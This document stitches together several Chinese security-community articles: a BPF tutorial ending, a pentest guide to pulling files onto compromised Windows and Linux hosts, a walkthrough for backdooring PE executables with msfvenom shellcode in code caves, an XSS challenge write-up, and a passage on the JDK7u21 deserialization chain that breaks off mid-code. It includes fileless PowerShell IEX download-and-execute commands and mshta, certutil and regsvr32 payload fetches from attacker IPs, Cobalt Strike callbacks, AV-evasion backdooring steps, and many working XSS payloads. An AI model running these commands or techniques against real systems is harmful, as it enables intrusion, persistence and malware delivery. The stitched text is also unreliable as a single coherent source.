sz = read(trace_fd, buf, sizeof(buf) - 1);
if (sz > 0) {
buf[sz] = 0;
puts(buf);
}
}
}
### 总结
我们可以发现, HelloWorld程序中引入的`bpf_load.c`不过是把我们之前手动的一些操作自动化, 其原理仍为: **编译BPF指令,
bpf()把BPF程序加载入内核, perf_event_open()挂载BPF程序到具体事件**. 令人劝退的HelloWorld页不再劝退
至此我们已经自底向上的了解了BPF如何使用, 利用的第一步是熟悉, 接下来会进一步探究BPF虚拟机实现的原理, 为后续利用进行铺垫. | 社区文章 |
### 文章前言
在渗透过程中，通常会需要向目标主机传送一些文件，来达到权限提升、权限维持等目的，本篇文章主要介绍一些windows和Linux下常用的文件下载方式。
## windows
### 命令行自带工具
#### PowerShell
PowerShell是一种跨平台的任务自动化和配置管理框架，由命令行管理程序和脚本语言组成，与大多数接受并返回文本的 shell
不同，PowerShell构建在 .NET公共语言运行时 (CLR) 的基础之上，接受并返回.NET对象，这从根本上的改变引入了全新的自动化工具和方法。
远程下载文件到本地：
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.174.1:1234/evil.txt','evil.exe')
当然，你也可以通过以下命令来远程执行命令，且无文件落地：
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.174.1:1234/evil.txt'))"
#### certutil
certutil.exe是一个命令行程序，作为证书服务的一部分安装，你可以使用Certutil.exe转储和显示证书颁发机构（CA）配置信息，配置证书服务，备份和还原CA组件，以及验证证书，密钥对和证书链。
我们可以在cmd中输入以下命令来查看certutil的具体使用方法：
certutil -?
在渗透测试过程中，我们可以借助certutil来实现远程下载文件到本地：
certutil -urlcache -split -f http://192.168.174.1:1234/evil.txt test.exe
#### Bitsadmin
BITSAdmin是一个命令行工具，可用于创建下载或上传并监视其进度，自windows7
以上版本内置bitsadmin，它可以在网络不稳定的状态下下载文件，出错会自动重试，在比较复杂的网络环境下，有着不错的性能。
我们可以在cmd中输入bitsadmin来查看其使用说明：
在我们渗透测试过程中我们可以通过在目标主机上执行以下命令来实现远程文件下载：
bitsadmin /transfer n http://192.168.174.1:1234/evil.txt C:\Users\Hepta\Desktop\test\evil.exe
#### FTP
FTP(File Transfer Protocol，文件传输协议)是TCP/IP
协议组中的协议之一。FTP协议包括两个组成部分，其一为FTP服务器，其二为FTP客户端，其中FTP服务器用来存储文件，用户可以使用FTP客户端通过FTP协议访问位于FTP服务器上的资源。
在我们渗透测试过程中我们可以通过在攻击主机上搭建FTP服务，之后在目标主机上通过cmd下的ftp进行远程连接:
首先，在攻击主机使用IPOP启动一个简易的FTP服务：
之后在目标主机上远程下载evil.exe文件：
#### msiexec
msiexec是windows自带的cmd工具，支持远程下载功能，攻击者可以将msi文件上传到服务器并执行，下面通过一个实例做演示说明，首先我们通过msfvenom来构造一个恶意的msi程序(这里以弹计算器为例，在实战中可以根据需要进行修改)，并启动一个简易HTTP服务：
之后在目标主机上通过msiexec来实现远程下载文件并执行，该方法同样可以实现无文件落地攻击：
msiexec /q /i http://192.168.174.131:1234/evil.msi
#### mshta
mshta.exe是微软Windows操作系统相关程序，英文全称Microsoft HTML
Application，可翻译为微软超文本标记语言应用，用于执行.HTA文件，我们可以在本地构建hta文件，之后通过目标主机的mshta来远程下载并执行，例如在本地创建以下hta文件：
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "cmd.exe /c calc.exe" // 待执行的命令
self.close
</script>
<body>
Demo
</body>
</HEAD>
</HTML>
之后在远程目标主机上执行以下命令实现下载执行操作，且无文件落地：
mshta http://192.168.174.1:1234/evil.hta
如果你想要使得目标主机CS上线，那么也可以通过CS来构造hta文件
之后在本地启动一个HTTP服务：
之后在cmd下通过mshta来下载hta文件并运行，使其上线，且无文件落地：
mshta http://192.168.174.131:1234/evil.hta
CS中成功上线：
#### rundll32
Rundll32.exe功能是以命令行的方式调用动态链接程序库，系统中还有一个Rundll64.exe文件，它的意思是"执行64位的DLL文件"，
其命令行下的使用方法为：Rundll32.exe DLLname,Functionname
Arguments，其中DLLname为需要执行的DLL文件名，Functionname为前边需要执行的DLL文件的具体引出函数，Arguments为引出函数的具体参数。
这里我们使用JSRat来做演示，JSRat是一个命令和控制框架，仅为rundll32.exe和regsvr32.exe生成恶意程序，首先我们在本地运行JSRat监听本地1234端口：
./JSRat.py -i 192.168.174.131 -p 1234
之后通过访问client comand 连接客户端执行命令：
之后复制上述恶意命令在目标主机cmd下执行：
之后成功返回一个会话如下所示：
PS:如果对源代码感兴趣可以查看rundll32 invocation信息的连接
#### regsvr32
Regsvr32命令用于注册COM组件，是Windows系统提供的用来向系统注册控件或者卸载控件的命令，以命令行方式运行，我们可以通过该命令来实现远程文件下载,和上面类似，这里也借助JSRat来实现，首先我们在本地运行JSRat监听本地1234端口：
./JSRat.py -i 192.168.174.131 -p 1234
之后通过访问client comand 连接查看客户端执行命令：
之后复制上述恶意点在目标主机cmd下执行：
之后成功返回一个会话如下所示：
### 第三方应用/服务
#### wget
wget 是一个从网络上自动下载文件的自由工具，支持通过 HTTP、HTTPS、FTP 三个最常见的 TCP/IP协议下载，并可以使用HTTP
代理。"wget" 这个名称来源于 “World Wide Web” 与 “get” 的结合。
Wget下载地址：<https://eternallybored.org/misc/wget/>
当目标主机上有安装wget时，我们可以直接通过该应用程序来实现远程文件下载：
#### cURL
cURL是一个利用URL语法在命令行下工作的文件传输工具，1997年首次发行，它支持文件上传和下载，所以是综合传输工具，但按传统，习惯称cURL为下载工具，cURL还包含了用于程序开发的libcurl。
当目标主机中安装了curl时我们可以通过以下方式来实现远程下载文件到本地：
curl http://192.168.174.1:1234/evil.exe -o evil.exe
#### ncat
nc是一款安全工具，它还有其他的名字 Netcat， Ncat 可用来做端口扫描，端口转发，连接远程系统等。它是一款拥有多种功能的CLI
工具，可以用来在网络上读、写以及重定向数据，它被设计成可以被脚本或其他程序调用的可靠的后端工具，同时由于它能创建任意所需的连接，因此也是一个很好的网络调试工具。当目标主机上安装了ncat是我们可以使用ncat来实现文件下载，当然这种场景在实战中少之又少~
首先，我们在本地使用nc起一个监听，并传递我们想要传输的文件名称：
nc -lvp 4444 < evil.exe
之后在目标主机上下载文件：
nc 192.168.174.131 4444 >evil.exe
#### Python
Python是目前很受欢迎的主流脚本语言，当目标主机内安装了python时，我们可以在cmd中使用python来实现远程文件下载：
Type "help", "copyright", "credits" or "license" for more information.
>>> import urllib2
>>> u = urllib2.urlopen('http://192.168.174.1:1234/evil.hta')
>>> localfile = open('local_file.hta','w')
>>> localfile.write(u.read())
>>> localfile.close()
>>>
#### Notepad Dialog Box
如果你有权限接入一台(远程连接或者物理机)电脑，但是当前用户权限不允许打开浏览器，这时你该怎么反弹一个shell回来呢？如果目标主机有安装notpad那么你可以通过下面这种方式快速的从一个URL或者UNC路径当中下载文件到本地并执行来获取shell：
首先，打开notpad++，之后点击"文件—>打开"：
之后在文件位置处输出远程文件web请求连接
回车之后，可以看到成功远程下载文件到本地
之后运行该hta文件即可(在实战中可以由CS来生成hta攻击文件，之后进行攻击反弹shell回来进行后渗透测试)~
## Linux
### 编程语言
#### Perl
Perl是目前很受欢迎的主流脚本语言，linux主机一般都自带perl环境，我们可以在终端中使用vim来编辑一个perl脚本，之后执行perl来实现远程文件下载：
#!perl
#!/usr/bin/perl
use LWP::Simple;
getstore("http://192.168.174.1:1234/evil.sh","evil.sh");
之后在终端运行该perl文件即可：
#### Ruby
当目标主机内安装了Ruby时，我们可以在终端使用vim来编辑一个Ruby脚本，之后执行Ruby来实现远程文件下载：
#!ruby
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("192.168.174.1") { |http|
r = http.get("/evil.sh")
open("save_location.sh", "wb") { |file|
file.write(r.body)
}
}
成功下载文件到本地
#### PHP
当目标主机内安装了Ruby时，我们可以在终端使用vim来编辑一个PHP脚本，之后执行PHP来实现远程文件下载：
<?php
$data = @file("http://example.com/file");
$lf = "local_file";
$fh = fopen($lf, 'w');
fwrite($fh, $data[0]);
fclose($fh);
?>
成功下载远程文件到本地
#### Python
Python是目前很受欢迎的主流脚本语言，当目标主机内安装了python时，我们可以在shell中使用python来实现远程文件下载：
Type "help", "copyright", "credits" or "license" for more information.
>>> import urllib2
>>> u = urllib2.urlopen('http://192.168.174.1:1234/evil.sh')
>>> localfile = open('local_file.sh','w')
>>> localfile.write(u.read())
>>> localfile.close()
>>>
### 应用程序
#### wget
wget 是一个从网络上自动下载文件的自由工具，支持通过 HTTP、HTTPS、FTP 三个最常见的 TCP/IP协议下载，并可以使用HTTP
代理。"wget" 这个名称来源于 “World Wide Web” 与 “get”
的结合。当目标主机上有安装wget时，我们可以直接通过该应用程序来实现远程文件下载：
wget http://192.168.174.1:1234/evil.sh
#### cURL
cURL是一个利用URL语法在命令行下工作的文件传输工具，1997年首次发行，它支持文件上传和下载，所以是综合传输工具，但按传统，习惯称cURL为下载工具，cURL还包含了用于程序开发的libcurl，当目标主机中安装了curl时我们可以通过以下方式来实现远程下载文件到本地：
curl http://192.168.174.1:1234/evil.sh -o evil.sh
#### ncat
nc是一款安全工具，它还有其他的名字 Netcat， Ncat 可用来做端口扫描，端口转发，连接远程系统等。它是一款拥有多种功能的CLI
工具，可以用来在网络上读、写以及重定向数据，它被设计成可以被脚本或其他程序调用的可靠的后端工具，同时由于它能创建任意所需的连接，因此也是一个很好的网络调试工具。当目标主机上安装了ncat是我们可以使用ncat来实现文件下载，当然这种场景在实战中少之又少~
首先，我们在本地使用nc起一个监听，并传递我们想要传输的文件名称：
nc -lvp 4444 < evil.sh
之后在目标主机上下载文件：
nc 192.168.174.131 4444 >evil.sh
#### FTP
ftp在linux一般都自带，我们可以在终端输入ftp进行交互，所以我们可以在本地搭建FTP服务，之后在目标主机上通过终端下的ftp进行远程连接来下载文件~
首先，在攻击主机使用IPOP启动一个简易的FTP服务：
之后在目标主机上远程下载evil.exe文件：
#### TFTP
tftp在linux一般都自带，我们可以在终端输入tftp进行交互，所以我们可以在本地搭建TFTP服务，之后在目标主机上通过终端下的tftp远程下载文件~
首先，在攻击主机使用IPOP启动一个简易的TFTP服务：
之后在目标主机终端通过tftp链接tftp服务并远程下载文件：
## 文末小结
上面列举了一些最常用的文件下载方式，当然，文件下载的方式不仅只有上面几种，具体可以结合具体的环境来看，例如：各种编程语言开发环境、第三方应用等等。
参考链接：<https://blog.netspi.com/15-ways-to-download-a-file/> | 社区文章 |
# 手工shellcode注入
## 0x01
> * 这篇文章将介绍如何添加我们的shellcode而不增加大小或更改功能的来对合法的可执行文件进行添加后门。
> * 我们可以使用自己的Shellcode注入到特定的可执行文件，而又不增加可执行文件的大小或更改其预期功能，并使其难以检测。
>
**_为了保证shellcode和程序的精简_**![]
* shellcode不会经过任何编码器的混淆
* 文件大小保持不变。
* 后门程序的功能不受影响
## 0x02
### ASLR
* ASLR（Address space layout randomization）是一种针对缓冲区溢出的安全保护技术，通过对堆、栈、共享库映射等线性区布局的随机化，通过增加攻击者预测目的地址的难度，防止攻击者直接定位攻击代码位置，达到阻止溢出攻击的目的。
> 所以我们需要先检查程序是否开启了ASLR
PS脚本地址：<https://github.com/NetSPI/PESecurity>
看来这是一个好靶子。
## 0x03
**_实现过程_**
* 在代码区段中创建新的节头，或在内存中找到合适的位置植入我们的Shell代码，这两种方法均在下面演示。
* 在程序执行开始时从堆栈中复制操作码。
* 将这些指令替换为我们自己的操作码，以将应用程序的执行流劫持到内存中的所需位置。
* 将shellcode添加到该内存位置。
* 将寄存器设置回第一步中复制的堆栈，以正常执行流程。
#### 添加新的区段
>
> 该方法背后的原理是在PE文件中创建一个新的区段，在新创建的区段中添加我们的shellcode，然后指向该部分的执行流程。可以使用诸如LordPE之类的工具来修改区段表。
* 用Lord PE打开目标程序，并在区段表底部添加节标题（这里是.demo)
* 将虚拟大小和原始大小相加1000字节。请注意，十六进制为1000（十进制为4096字节）。
* 使该区段可执行，因为我们必须将Shellcode放在此节中，因此它必须是可读可写可执行的。
* 将文件另存为原始文件。
**_现在执行该文件，它将无法运行，因为我们添加了一个1000h字节的新段，但是该区段为空。_**
**_所以只要我们填充了该区段就能正常执行。_**
所以我们在文件末尾添加1000h字节，因为现在文件包含一个1000字节的区段，但该部分为空，我们必须用什么填充它，现在选择用 **null（00）**
填充它。如下所示，使用任何十六进制编辑器在文件末尾添加1000个十六进制字节。
添加后保存并运行，此时程序就可以正常运行了（确保程序可执行后进入下一步）。
#### 劫持执行流程
现在在Ollydbg中执行以下操作：转到内存部分，然后双击PE标头。
我们可以看到我们的新部分 **.demo** 已添加了指定的权限。下一步是将程序的执行流劫持到我们新添加的 **.demo**
段中。当我们执行程序时，它应指向 要放置shellcode的代码的 **.demo** 部分。
**首先复制前3个操作码到记事本，稍后在恢复执行流程时将需要它们。** 我们复制 **.demo** 的起始地址 **00412000**
打开Ollydbg的程序，更换程序起始地址代码为JMP 00412000。
现在保存修改后的文件，此时文件的执行流程已经被劫持了。现在重新用Ollydbg打开，右键跟随jmp，你就会发现程序已经被劫持到我们所创建的那一片全为00的了。
> msfvenom -p windows/messagebox text="it's demo" -f hex
右键复制到可执行文件，此时会进入数据块，使用msf生成payload，复制，在Ollydbg中选中那一块00段 **右键 > 二进制
>二进制粘贴**然后保存文件
此时修改后的程序就能成功执行我们的shellcode了。弹框证明。
此时shellcode已被执行，我们应该恢复程序正常的执行流程。
* 将shellcode最后一句跳转改为nop.
* 使用popfd，popod进行恢复堆栈的操作。
* 然后将原程序起始位置的汇编码复制到这里。
* 最后跳转回原来的执行地址。
* 保存文件，程序应能正常工作并保留原有功能。
**_此时我们算是初步完成了，不过由于添加了新的区段导致了程序体积变大，所以我们会用另一种办法解决这个问题_**
事实上虽然程序大小有变化，但是我们可以无限制的放入shellcode，即我们可以使用复杂的shellcode，这将会对bypass AV有帮助。
#### 代码空洞
>
> 代码空洞是程序存储器中的空块，可用于注入shellcode。我们可以使用现有的代码洞来植入我们的shellcode。我们几乎可以在任何PE中找到不同大小的代码空洞。
> **代码空洞的大小很重要！** 我们希望代码空洞大于我们的shellcode，以便我们可以注入shellcode，而不必将其拆分为较小的块。
在代码空洞中注入shellcode是不会影响程序大小的，唯一需要注意的是shellcode应尽可能的小。
在kali中使用cave_miner检查原程序（未经修改）是否存在代码空洞。
cave_miner search /root/Hash.exe #可用--size 筛选符合大小的空洞，适用于空洞特别多的程序。
在这里我们有一个899字节的空洞，就决定是它了。
>
> 记下空洞的虚拟地址。虚拟地址是洞穴的起始地址。我们将通过跳转到虚拟地址来劫持执行流程。现在我们需要将shellcode植入到空洞中。在这里可以看到代码洞穴仅是可读的，我们必须使其可写和可执行才能执行我们的shellcode。我们通过LORDPE来修改。
### 在用户交互时触发Shellcode
现在我们有了一个可以使用的代码空洞，所以就决定把shellcode放这里了。
此次汇编代码改为跳转到我们得到的空洞地址： **jmp 0041123d** ，保存
再次用Ollydbg打开，跟随jmp到我们的代码空洞。
**右键 >复制到可执行文件>选择**，然后复制shellcode， **右键 >二进制>二进制粘贴**
然后最后一句还是改为 **nop** ,然后添加 **popfd** , **popad** ,以恢复堆栈，然后保存。
如能正常执行shellcode即进入下一步，跳转回程序执行流程。
最后完整还原代码如图。
在文件大小不变的情况下，实现了shellcode注入，且程序功能不受影响。
参考链接：<https://haiderm.com/fully-undetectable-backdooring-pe-f> | 社区文章 |
最近发现一个有趣的XSS闯关小游戏，游戏的作者是先知社区的大佬@Mramydnei，喜欢XSS的大家可以一起来学习交流。
现在我把自己在前面的十八关里面的闯关过程记录一下，大神绕行，我是菜鸟，大家可以一起学习，互相进步成长。
第一关，没有任何疑问，简单的不能再简单，没有任何过滤
输入点在url里面，参数name
输出点在页面里面，没有任何限制
所以可以构造payload
http://127.0.0.1/xss/level1.php?name=<script>confirm("完成的不错！")</script>
http://127.0.0.1/xss/level1.php?name=<script>prompt("完成的不错！")</script>
http://127.0.0.1/xss/level1.php?name=<script>alert("完成的不错！")</script>
* * *
# XSS挑战之旅---level2
来到第二关，发现这次输入点在界面和url里面都有了
输出点还是在界面中
我们来尝试进行XSS试探
test"><script>confirm("完成的不错！")</script>
发现神奇的弹窗了，好吧，来看看源代码
显而易见，上面尖括号被过滤了，而下面却没有
这样的话，我们原来的payload是可以用的
test"><script>confirm("完成的不错！")</script>
test"><script>prompt("完成的不错！")</script>
test"><script>alert("完成的不错！")</script>
* * *
# XSS挑战之旅---level3
来到第三关，前面都比较简单，就不具体叙述
输入点输出点见截图
这里过滤了尖括号
我们用事件来弹窗啦
' oninput=alert`1` //
' oninput=alert`1` '
' onchange=alert`1` //
' onchange=alert`1` '
* * *
# XSS挑战之旅---level4
第四关和第三关基本一样，真搞不懂考察什么
无非就是把源码里面单引号变成了双引号，同样事件弹窗
payload:
" onchange=alert`1` "
" onchange=alert`1` //
" oninput=alert`1` "
" oninput=alert`1` //
* * *
# XSS挑战之旅---level5
废话不多说了，剧情还是原来的剧情
直接上源码吧
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错！");
window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<h2 align=center>没有找到和test相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword value="test">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level5.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>
这次是on替换成了o_n script替换成了sc_ript
很明显这是不让我们用事件和script啊
不想多说了，我自己走了弯路
现在直接发我的payload：
"> <a href="javascript:%61lert(1)">click me</a> //
"> <a href="javascript:alert('xss')">111</a> //
"> <a href="javascript:alert(/1/)">axxx</a> //
* * *
# XSS挑战之旅---level6
来到level6，这一关测试的主要是大小写问题，可以用大小写绕过技术
"> <Script>alert('handsome boy')</script> //
"> <img Src=x OnError=alert('xss')> //
有趣的事我自己用的编辑器也弹窗了，哈哈
* * *
# XSS挑战之旅---level7
来到第七关，这一关是针对script和on的过滤，我们可以构造来绕过
" oonninput=alert(1) "
"> <scscriptript>alert`xss`</scscriptript> //
* * *
# XSS挑战之旅---level8
来到了第八关，这一关难度加大，我们来继续
首先，我们需要先来进行测试一番
测试代码：
"'%&#></script><p class="onmouseover=" onmouseover="xx" onxxx="">xxx</p>
' "><img src=x onerror=alert(2) x=
没有过滤：`' > < % & #`
过滤了：`" src on script data`
就是这些了，唉，头疼
输出点1：
<input name=keyword value=""'%&#></script><p class="onmouseover=" onmouseover="xx" onxxx="">xxx</p>">
这个服了，直接放弃
输出点2：
</center><center><BR><a href=""'%&#></scr_ipt><p class="o_nmouseover=" o_nmouseover="xx" o_nxxx="">xxx</p>">友情链接</a></center><center><img src=level8.jpg></center>
a标签内，href属性中，很明显，我们想到了协议绕过
Javascript：伪协议后面可以使用URL编码。
如：<a href="javascript:%61lert(1)">click me</a>可成功执行弹窗。
可用img就不行:<img src=1 onerror="javascript:%61lert(1)">
因为href属性会跳转到其中的URL，而会进行URL解码，onerror属性只会执行JS,不跳转同时后面的url编码可以再做一次entity(HTML实体)编码：
<a href="javascript:%61lert(1)">click me</a>
ri ri
javascript:%61lert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
# XSS挑战之旅---level9
本题目难点在于它会自动检测url，如果发现没有带http:// 内容则会显示不合法，那么应该如何绕过呢？
href必须带着url!
javascript:alert(1)//http://www.0aa.me //利用注释
javascript:%0dhttp://www.0aa.me%0dalert(1) //不能用注释的情况下
针对题目，我们可以适当修改一下
javascript:alert(1)//http://www.0aa.me
javascript:%0dhttp://www.0aa.me%0dalert(1) //
# XSS挑战之旅---level10
[http://127.0.0.1/xss/level10.php?keyword=well
done!](http://127.0.0.1/xss/level10.php?keyword=well%20done!)
输入点在url中，参数是keyword
首先测试以下过滤情况
' "><img src=x onerror=alert(2) x=
群友大神给的payload：
url=&t_sort=" type="text" onclick="alert()
http://127.0.0.1/xss/level10.php?keyword=888888&t_sort="; type="text" onclick="alert()
http://127.0.0.1/xss/level10.php?keyword=888888&t_sort=" type="" onclick="alert()
http://127.0.0.1/xss//level10.php?keyword=well done!&t_sort=" onmouseover=alert(1) type="text"
http://127.0.0.1/xss//level10.php?keyword=well done!&t_sort=8888" type="text" onmouseover="alert(666)
# XSS挑战之旅---level11
我们从第十关走过来的，开始抓包，打开burp suit抓包看看
http://127.0.0.1/xss//level10.php?keyword=well done!&t_sort=8888" type="text" onmouseover="alert(666)
抓包以后观察，我们发现refer参数会输出到后面
修改refer参数就可以达到弹窗效果了
# XSS挑战之旅---level12
继续抓包，这次参数在user-agent处，依照第11关的办法抓包改包
# XSS挑战之旅---level13
来到了第十三关，这次修改的参数在cookie里面
# XSS挑战之旅---level14
查看源码通过iframe标签引入了一个[http://exofvoewer.org](http://exofvoewer.org/), 结合乌云爆出的
漏洞，上传一个含有xss代码的图片触发xss。
exif xss
# XSS挑战之旅---level15
这里用了angularjs的ng-include，直接在包含的页面里用`<script>`触发不了，用了img标签。
遵循SOP，只好调用第一关代码。
需要单引号包裹，否则变成注释。
paload：
/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'
AngularJS ng-include 指令
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式，返回一个文件名。
默认情况下，包含的文件需要包含在同一个域名下。
<element ng-include="filename" onload="expression" autoscroll="expression" ></element>
```
<ng-include autoscroll="expression" onload="expression" src="filename"></ng-include></ng-include>
```
<body><span class="ng-include:'level1.php?name=test<img src=1 onerror=alert(1)>'"></span></body>
# XSS挑战之旅---level16
<http://127.0.0.1/xss//level16.php?keyword=test>
过滤空格，script，/，使用%0d %0a做分割符
payload：
/level16.php?keyword=<img%0Dsrc=1%0Donerror=alert(1)>
http://127.0.0.1/xss//level16.php?keyword=<img%0asrc=1%0aonerror=alert(1)>
http://127.0.0.1/xss//level16.php?keyword=<img%0asrc=x%0donError=alert('xss')>
http://127.0.0.1/xss//level16.php?keyword=<iframe%0asrc=x%0donmouseover=alert`1`></iframe>
http://127.0.0.1/xss//level16.php?keyword=<svg%0aonload=alert`1`></svg>
* * *
# XSS挑战之旅---level17
输入点在url，我们来寻找输出点
不要被flash迷惑。
输入点在url中，过滤了尖括号和双引号，用on事件触发。
payload：
/level17.php?arg01=a&arg02= onmouseover=alert(1)
http://127.0.0.1/xss//level17.php?arg01=a&arg02=b 8888 onmouseover=alert(1)
* * *
# XSS挑战之旅---level18
http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseout=alert(1)
感觉17题和18题没啥区别啊
payload:
http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseout=alert(1)
http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseout=alert`1`
http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseover=alert`1`
* * *
19关和20关属于Flash XSS，这里不再赘述，有兴趣的小伙伴们可以去深入学习。 | 社区文章 |
# JDK7u21反序列化链利用分析
## 0x0 前言
起因来源于某次的真实的项目经历，碰到Shiro 550,当时尝试各种常见序列化链都失败了，最后JDK7u21
这个序列化链能够成功执行命令，所以对此进行一番学习。
## 0x1 前置知识
### 0x1.1 三大概念
学习JAVA相关内容内容之前，这三个经典概念都是可以回顾和学习。
**(1) JVM(Java Virtual Machine)**
> JVM(java虚拟机),是驻留于内存的抽象计算机。
>
> 1.1 主要构成:
>
> **类加载器: 将.class 文件加载到内存**
>
> **字节码验证工具: 检查代码中是否存在访问限制违规**
>
> **执行引擎: 将字节码转换为可执行的机器码**
>
> **JIT: 即时编译，用于提高JVM的性能，加快java程序的执行速度**
>
> 1.2 主要作用:
>
> 将java字节码(类文件.class,由JVM指令集,
> 符号表以及补充信息构成)解释为本地机器码(字节码映射本地机器码)，不同的操作系统使用不同的JVM映射规则，使java字节码的解释执行与操作系统无关，从而完成跨平台。
>
> **JAVA语言的跨平台性是基于JVM的不跨平台性的**
**(2) JRE(JAVA Runtime Environment)**
> JRE(java运行环境),由运行和管理JAVA应用程序的类库和工具组成。
>
> 单纯的JVM不能直接运行java程序，需要核心类库的支持,所以可以简单理解
>
> JRE = JVM + 核心类库 + 一些工具(密钥库工具keytool, jar文件解压缩工具...)
**(3) JDK(JAVA Development Kit)**
> java开发工具包，是面向JAVA开发人员使用的SDk(software Development Kit 软件开发工具包)
>
> 提供java程序的开发环境和运行环境。
>
> JDK 包含了 JRE、基础类库(Java
> API，如网络、IO、线程、模型)、java源码编译器javac、以及其他一些开发、诊断、分析、调试、管理的工具和命令，如jar、javah、jdb等
### 0x1.2 jdk命名规则
我们平时安装的java环境，大多是 Java SE Development Kit 8u261, 也就是所谓的jdk8,java8, jdk8。
为什么同一个东西，有这么多名称呢，其实这个跟jdk发布历史中改名有关。
1996-01-23 -1999-04-08 发行了 jdk1.0 - jdk1.1.8
1998-12-04 - 2003-0626 发行了 j2se 1.2 (jdk 1.2 开始了改名)
2004-09-30 发行了Java SE 5.0 (1.5.0) (jdk 1.5.0 又开始了改名)
..
Java SE 6.0 (1.6.0)
Java SE 7.0 (1.7.0)
...
Java SE 11.0
等
> ### Java命名方式更改的事件原因：
>
> 1998年12月8日，Sun公司发布了第二代Java平台（简称为Java2）的3个版本：J2ME（Java2 Micro
> Edition，Java2平台的微型版），应用于移动、无线及有限资源的环境；J2SE（Java 2 Standard Edition，Java
> 2平台的标准版），应用于桌面环境；J2EE（Java 2Enterprise Edition，Java
> 2平台的企业版），应用于基于Java的应用服务器。
>
> 2004年9月30日，J2SE1.5发布。为了表示该版本的重要性，J2SE 1.5更名为Java SE 5.0（内部版本号1.5.0）
>
> 2005年6月，Java SE
> 6正式发布。此时，Java的各种版本已经更名，已取消其中的数字2（如J2EE更名为JavaEE，J2SE更名为JavaSE，J2ME则为JavaME）
>
> java SE 主要应用于电脑上运行的软件】
>
> java ee 是基于se基础上构建，是开发企业级应用的一套APi(标准)，主要应用于网站建设。
>
> (其实我们平时用Spring 框架去开发 + tomcat 也可以的，根本不需要下载java ee的jdk)
>
> java se 主要应用于移动设备和嵌入式设备的java应用程序
java se ee me 他们所使用的jdk是一样的，区别的是，内置的类库存在差异。
## 0x2 调试环境搭建
这里简单介绍我平时的工作流，每个人的爱好都不一样。
**1.调试工具:**
ideal(调试)、eclipse(开发)
**2.安装JDK不同版本:**
MAC homebrew 只能直接安装官方最新版的OpenJDK
最新版:
brew install java
jdk8以上:
brew cask install AdoptOpenJDK/openjdk/adoptopenjdk8
brew cask install AdoptOpenJDK/openjdk/adoptopenjdk9
brew cask install AdoptOpenJDK/openjdk/adoptopenjdk10
brew cask install AdoptOpenJDK/openjdk/adoptopenjdk11
brew cask install AdoptOpenJDK/openjdk/adoptopenjdk12
jdk7:
brew cask install homebrew/cask-versions/zulu7
jdk6:
brew cask install homebrew/cask-versions/java6
再低就没有必要了,毕竟都2020年.
查看系统已安装的java版本和路径:`/usr/libexec/java_home -V`
这样子虽然方便，但是我们依然选择不了自己想要的大版本中的小版本，这里的1.7.0272 已经超过了漏洞的版本，经过测试，没办法打成功的。
那么如何安装更详细的版本呢?
[java se
7所有小版本](https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html)
选择合适的操作系统下载，傻瓜化安装即可。
**3.下载**
`git clone https://github.com/frohoff/ysoserial`
编译:
cd ysoserial
mvn clean package -DskipTests
基本用法:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 "whoami" > jdk7u21Object.ser
然后直接导入ideal中,下面我们直接在ideal进行ysoserial payload类的导入即可，这样子分析链也方便。
## 0x3 漏洞说明
### 0x3.1 背景说明
缺陷影响版本: JRE versions <= 7u21
利用限制: 仅依赖于原生库函数
真实影响: 实战环境有机会遇到
### 0x3.2 漏洞演示
package ysoserial.example;
import ysoserial.payloads.Jdk7u21;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class JDK7u21 {
public static void main(String[] args) {
try {
Object calc = new Jdk7u21().getObject("open /System/Applications/Calculator.app");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(calc);//序列化对象
objectOutputStream.flush();
objectOutputStream.close();
byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
成功执行命令
ysoserial的payload
package ysoserial.payloads;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;
import javax.xml.transform.Templates;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/*
Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
the same JRE version requirements.
See: https://gist.github.com/frohoff/24af7913611f8406eaf3
Call tree:
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
